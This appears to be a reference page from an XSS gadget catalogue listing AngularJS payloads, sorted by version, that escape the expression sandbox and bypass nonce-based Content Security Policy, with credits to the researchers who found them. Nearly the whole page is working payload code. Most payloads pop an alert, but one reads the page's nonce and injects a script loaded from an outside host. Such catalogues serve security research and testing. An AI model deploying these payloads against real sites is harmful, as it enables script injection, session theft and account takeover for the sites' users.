AngularJS - HTML enhanced for web apps!
Many other variants have been found by @garethheyes (see Related Links).
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
<!-- user input -->
<div ng-app><input autofocus ng-focus="$event.view.alert(1)"></div>
As long as eval
, Function
, setTimeout
… isn’t called, it doesn’t requires unsafe-eval
. Due to that, it is possible to retrieve the nonce and load a script.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
<!-- user input -->
<div ng-app>
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="https://gmsgadget.com/assets/xss/index.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
</div>
Related links:
Found by @garethheyes.
Starting 1.6.0
, AngularJS has removed the sandbox that prevents the execution of arbitrary code.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{constructor.constructor('alert(document.domain)')()}}</div>
This shorten version have been found by @garethheyes and @LewisArdern.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{$on.constructor('alert(document.domain)')()}}</div>
Related links:
Found by @cure53berlin.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.min.js"></script>
<!-- user input -->
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{[1].reduce(value.alert, 1);}}</div></div></div>
Related links:
Found by @sirdarckcat.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a;}}</div>
This shorten version was found by @tehjh and Lukasz Plonka
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}}</div>
Related links:
Found by @tehjh.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}</div>
Related links:
Found by @garethheyes, @tehjh.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}</div>
Related links:
Found by @garethheyes.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.20/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}</div>
Related links:
Found by @garethheyes.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.19/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}</div>
Related links:
Found by @garethheyes.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.18/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(document.domain)//');}}</div>
Related links:
Found by @garethheyes.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(document.domain);' )));}}</div>
Related links:
Found by @molnar_g.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(document.domain)"].sort(toString.constructor);}}</div>
Related links:
Found by @avlidienbrunn.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(document.domain)')()}}</div>
Related links:
Found by @tehjh.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.20/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{{}.")));alert(1)//"}}</div>
Related links:
Found by @garethheyes.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.1/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(document.domain)')()}}</div>
Related links:
Found by @tehjh.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{constructor.constructor('alert(document.domain)')()}}</div>
This shorten version have been found by @garethheyes and @LewisArdern.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>
<!-- user input -->
<div ng-app>{{$on.constructor('alert(document.domain)')()}}</div>
Related links:
Found by @cure53berlin.